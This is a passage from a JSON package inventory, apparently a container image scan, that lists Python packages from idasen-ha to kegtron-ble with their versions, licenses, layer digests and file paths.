"usr/local/lib/python3.14/site-packages/idasen_ha-2.7.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "identify", "Identifier": { "PURL": "pkg:pypi/identify@2.6.19", "UID": "8d73048caa534fe3" }, "Version": "2.6.19", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/identify-2.6.19.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "idna", "Identifier": { "PURL": "pkg:pypi/idna@3.18", "UID": "4b3e2e09e3f71fd5" }, "Version": "3.18", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/idna-3.18.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "idrive-e2-client", "Identifier": { "PURL": "pkg:pypi/idrive-e2-client@0.1.1", "UID": "5b4ff4ed1a87a1c0" }, "Version": "0.1.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/idrive_e2_client-0.1.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "ifaddr", "Identifier": { "PURL": "pkg:pypi/ifaddr@0.2.0", "UID": "91db15cc7bf46cae" }, "Version": "0.2.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/ifaddr-0.2.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "iglo", "Identifier": { "PURL": "pkg:pypi/iglo@1.2.7", "UID": "18347bdcb97ed0bd" }, "Version": "1.2.7", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/iglo-1.2.7.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "igloohome-api", "Identifier": { "PURL": "pkg:pypi/igloohome-api@0.1.1", "UID": "4eb4c64f49b63164" }, "Version": "0.1.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/igloohome_api-0.1.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "ihcsdk", "Identifier": { "PURL": "pkg:pypi/ihcsdk@2.8.12", "UID": "fcfbb07ade2243fa" }, "Version": "2.8.12", "Licenses": [ "GPL-3.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/ihcsdk-2.8.12.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "ijson", "Identifier": { "PURL": "pkg:pypi/ijson@3.5.1", "UID": "7d737454ffaf3397" }, "Version": "3.5.1", "Licenses": [ "BSD-3-Clause AND ISC" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/ijson-3.5.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "imeon_inverter_api", "Identifier": { "PURL": "pkg:pypi/imeon-inverter-api@0.4.0", "UID": "4cb95af5c99eae31" }, "Version": "0.4.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/imeon_inverter_api-0.4.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "imgw_pib", "Identifier": { "PURL": "pkg:pypi/imgw-pib@2.4.0", "UID": "ccb79d215ecd78d5" }, "Version": "2.4.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/imgw_pib-2.4.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "importlib_metadata", "Identifier": { "PURL": "pkg:pypi/importlib-metadata@8.7.1", "UID": "cc2f2e643b0f2ab" }, "Version": "8.7.1", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/setuptools/_vendor/importlib_metadata-8.7.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "importlib_resources", "Identifier": { "PURL": "pkg:pypi/importlib-resources@6.5.2", "UID": "b46677a431a4516b" }, "Version": "6.5.2", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/importlib_resources-6.5.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "imutils", "Identifier": { "PURL": "pkg:pypi/imutils@0.5.4", "UID": "b95d1039f1bdbdbd" }, "Version": "0.5.4", "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/imutils-0.5.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "incomfort-client", "Identifier": { "PURL": "pkg:pypi/incomfort-client@0.7.0", "UID": "da6b87959cd3c6ba" }, "Version": "0.7.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/incomfort_client-0.7.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "indevolt-api", "Identifier": { "PURL": "pkg:pypi/indevolt-api@1.8.6", "UID": "cd2d5a2b0e4a391" }, "Version": "1.8.6", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/indevolt_api-1.8.6.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "inflect", "Identifier": { "PURL": "pkg:pypi/inflect@7.5.0", "UID": "56ff183dc6a24bac" }, "Version": "7.5.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/inflect-7.5.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "inflection", "Identifier": { "PURL": "pkg:pypi/inflection@0.5.1", "UID": "e4488d74f093cf81" }, "Version": "0.5.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/inflection-0.5.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "influxdb", "Identifier": { "PURL": "pkg:pypi/influxdb@5.3.2", "UID": "1a14971399d1b3cd" }, "Version": "5.3.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/influxdb-5.3.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "influxdb-client", "Identifier": { "PURL": "pkg:pypi/influxdb-client@1.50.0", "UID": "5499433d4af75f9b" }, "Version": "1.50.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/influxdb_client-1.50.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "infrared-protocols", "Identifier": { "PURL": "pkg:pypi/infrared-protocols@6.3.0", "UID": "f50ae46fc329dca" }, "Version": "6.3.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/infrared_protocols-6.3.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "iniconfig", "Identifier": { "PURL": "pkg:pypi/iniconfig@2.3.0", "UID": "b85b0b48ba4c513d" }, "Version": "2.3.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/iniconfig-2.3.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "inkbird-ble", "Identifier": { "PURL": "pkg:pypi/inkbird-ble@1.4.4", "UID": "7f6178993263987" }, "Version": "1.4.4", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/inkbird_ble-1.4.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "inquirerpy", "Identifier": { "PURL": "pkg:pypi/inquirerpy@0.3.4", "UID": "c3336da3526ff8d3" }, "Version": "0.3.4", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/inquirerpy-0.3.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "insteon-frontend-home-assistant", "Identifier": { "PURL": "pkg:pypi/insteon-frontend-home-assistant@0.6.2", "UID": "e719b02824f0f517" }, "Version": "0.6.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/insteon_frontend_home_assistant-0.6.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "intelhex", "Identifier": { "PURL": "pkg:pypi/intelhex@2.3.0", "UID": "c3f63328859d07bd" }, "Version": "2.3.0", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/intelhex-2.3.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "intellifire4py", "Identifier": { "PURL": "pkg:pypi/intellifire4py@4.4.0", "UID": "8cad724e10753ec0" }, "Version": "4.4.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/intellifire4py-4.4.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "iometer", "Identifier": { "PURL": "pkg:pypi/iometer@1.0.2", "UID": "29d10fde2c463eea" }, "Version": "1.0.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/iometer-1.0.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "iottycloud", "Identifier": { "PURL": "pkg:pypi/iottycloud@0.3.0", "UID": "b0c8cc0f6133bdea" }, "Version": "0.3.0", "Licenses": [ "AGPL-3.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/iottycloud-0.3.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "iperf3", "Identifier": { "PURL": "pkg:pypi/iperf3@0.1.11", "UID": "a9fac11bfc506499" }, "Version": "0.1.11", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/iperf3-0.1.11.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "irm-kmi-api", "Identifier": { "PURL": "pkg:pypi/irm-kmi-api@1.1.1", "UID": "632f8c0ea9b11fc0" }, "Version": "1.1.1", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/irm_kmi_api-1.1.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "isal", "Identifier": { "PURL": "pkg:pypi/isal@1.8.0", "UID": "cd8e2fbbfd5d1a5" }, "Version": "1.8.0", "Licenses": [ "PSF-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/isal-1.8.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "ismartgate", "Identifier": { "PURL": "pkg:pypi/ismartgate@5.0.2", "UID": "8b6b8a4d71221f6d" }, "Version": "5.0.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/ismartgate-5.0.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "iso4217", "Identifier": { "PURL": "pkg:pypi/iso4217@1.16.20260101", "UID": "45f8f7fe6f1091c8" }, "Version": "1.16.20260101", "Licenses": [ "Public Domain" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/iso4217-1.16.20260101.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "iso8601", "Identifier": { "PURL": "pkg:pypi/iso8601@2.1.0", "UID": "3c2f52d959fe9fc6" }, "Version": "2.1.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/iso8601-2.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "isodate", "Identifier": { "PURL": "pkg:pypi/isodate@0.7.2", "UID": "36a533e7d0d439ce" }, "Version": "0.7.2", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/isodate-0.7.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "israel-rail-api", "Identifier": { "PURL": "pkg:pypi/israel-rail-api@0.1.5", "UID": "32f2d5f97b00661c" }, "Version": "0.1.5", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/israel_rail_api-0.1.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "itsdangerous", "Identifier": { "PURL": "pkg:pypi/itsdangerous@2.2.0", "UID": "363a5d9217db893f" }, "Version": "2.2.0", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/itsdangerous-2.2.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "jaraco.abode", "Identifier": { "PURL": "pkg:pypi/jaraco.abode@6.4.0", "UID": "f8009839c8b83388" }, "Version": "6.4.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/jaraco_abode-6.4.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "jaraco.classes", "Identifier": { "PURL": "pkg:pypi/jaraco.classes@3.4.0", "UID": "a765a3b232769c81" }, "Version": "3.4.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/jaraco.classes-3.4.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "jaraco.collections", "Identifier": { "PURL": "pkg:pypi/jaraco.collections@5.2.1", "UID": "34ec048e0d9e7981" }, "Version": "5.2.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/jaraco_collections-5.2.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "jaraco.context", "Identifier": { "PURL": "pkg:pypi/jaraco.context@6.1.0", "UID": "4cadd53d37c40b4b" }, "Version": "6.1.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/setuptools/_vendor/jaraco_context-6.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "jaraco.context", "Identifier": { "PURL": "pkg:pypi/jaraco.context@6.1.2", "UID": "cd5c7e26478327ca" }, "Version": "6.1.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/jaraco_context-6.1.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "jaraco.email", "Identifier": { "PURL": "pkg:pypi/jaraco.email@3.1.1", "UID": "9e931cff0adbb78f" }, "Version": "3.1.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/jaraco.email-3.1.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "jaraco.functools", "Identifier": { "PURL": "pkg:pypi/jaraco.functools@4.4.0", "UID": "1a32921248697960" }, "Version": "4.4.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/setuptools/_vendor/jaraco_functools-4.4.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "jaraco.functools", "Identifier": { "PURL": "pkg:pypi/jaraco.functools@4.5.0", "UID": "33832c691c6a079f" }, "Version": "4.5.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/jaraco_functools-4.5.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "jaraco.itertools", "Identifier": { "PURL": "pkg:pypi/jaraco.itertools@6.4.3", "UID": "66f7cff064973ce7" }, "Version": "6.4.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/jaraco_itertools-6.4.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "jaraco.logging", "Identifier": { "PURL": "pkg:pypi/jaraco.logging@3.4.0", "UID": "d5f127bb14c68265" }, "Version": "3.4.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/jaraco_logging-3.4.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "jaraco.net", "Identifier": { "PURL": "pkg:pypi/jaraco.net@10.2.3", "UID": "40eb4b037aa4c19" }, "Version": "10.2.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/jaraco.net-10.2.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "jaraco.text", "Identifier": { "PURL": "pkg:pypi/jaraco.text@4.0.0", "UID": "150644a457463f8" }, "Version": "4.0.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/setuptools/_vendor/jaraco.text-4.0.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "jaraco.text", "Identifier": { "PURL": "pkg:pypi/jaraco.text@4.2.0", "UID": "e107c10011701343" }, "Version": "4.2.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/jaraco_text-4.2.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "jeepney", "Identifier": { "PURL": "pkg:pypi/jeepney@0.9.0", "UID": "562fe4e819fa09d4" }, "Version": "0.9.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/jeepney-0.9.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "jellyfin-apiclient-python", "Identifier": { "PURL": "pkg:pypi/jellyfin-apiclient-python@1.11.0", "UID": "ef56515f74aa0a9a" }, "Version": "1.11.0", "Licenses": [ "GPL-3.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/jellyfin_apiclient_python-1.11.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "jiter", "Identifier": { "PURL": "pkg:pypi/jiter@0.16.0", "UID": "40fe44de23cb5508" }, "Version": "0.16.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/jiter-0.16.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "jmespath", "Identifier": { "PURL": "pkg:pypi/jmespath@1.1.0", "UID": "c0ac4725ed51e2b7" }, "Version": "1.1.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/jmespath-1.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "josepy", "Identifier": { "PURL": "pkg:pypi/josepy@2.2.0", "UID": "38aecb63571e280c" }, "Version": "2.2.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/josepy-2.2.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "joserfc", "Identifier": { "PURL": "pkg:pypi/joserfc@1.7.3", "UID": "a78ebe0995a3154d" }, "Version": "1.7.3", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/joserfc-1.7.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "jsonpath-python", "Identifier": { "PURL": "pkg:pypi/jsonpath-python@1.1.6", "UID": "a475397eca96f0e7" }, "Version": "1.1.6", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/jsonpath_python-1.1.6.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "jsonpickle", "Identifier": { "PURL": "pkg:pypi/jsonpickle@4.1.2", "UID": "eedc97197857de19" }, "Version": "4.1.2", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/jsonpickle-4.1.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "jsonrpc-async", "Identifier": { "PURL": "pkg:pypi/jsonrpc-async@2.1.3", "UID": "69c93ed8a98932ad" }, "Version": "2.1.3", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/jsonrpc_async-2.1.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "jsonrpc-base", "Identifier": { "PURL": "pkg:pypi/jsonrpc-base@2.2.0", "UID": "2385a8e8ba13536f" }, "Version": "2.2.0", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/jsonrpc_base-2.2.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "jsonrpc-websocket", "Identifier": { "PURL": "pkg:pypi/jsonrpc-websocket@3.2.1", "UID": "2a27b0ce9c0175ec" }, "Version": "3.2.1", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/jsonrpc_websocket-3.2.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "jsonschema", "Identifier": { "PURL": "pkg:pypi/jsonschema@4.26.0", "UID": "fd23a9da9ef80755" }, "Version": "4.26.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/jsonschema-4.26.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "jsonschema-specifications", "Identifier": { "PURL": "pkg:pypi/jsonschema-specifications@2025.9.1", "UID": "ca8d3d3f4f06ba1e" }, "Version": "2025.9.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/jsonschema_specifications-2025.9.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "justbackoff", "Identifier": { "PURL": "pkg:pypi/justbackoff@0.6.0", "UID": "d119cb54076a273" }, "Version": "0.6.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/justbackoff-0.6.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "justnimbus", "Identifier": { "PURL": "pkg:pypi/justnimbus@0.7.4", "UID": "829e9d51f183f5ca" }, "Version": "0.7.4", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/justnimbus-0.7.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "kaiterra-async-client", "Identifier": { "PURL": "pkg:pypi/kaiterra-async-client@1.1.0", "UID": "4a16a3bd2b51991b" }, "Version": "1.1.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/kaiterra_async_client-1.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "kasa-crypt", "Identifier": { "PURL": "pkg:pypi/kasa-crypt@1.1.0", "UID": "3820faa3e0331cf0" }, "Version": "1.1.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/kasa_crypt-1.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "keba_kecontact", "Identifier": { "PURL": "pkg:pypi/keba-kecontact@1.3.0", "UID": "739073e9041ee746" }, "Version": "1.3.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/keba_kecontact-1.3.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "kegtron-ble", "Identifier": { "PURL": "pkg:pypi/kegtron-ble@1.0.2", "UID": 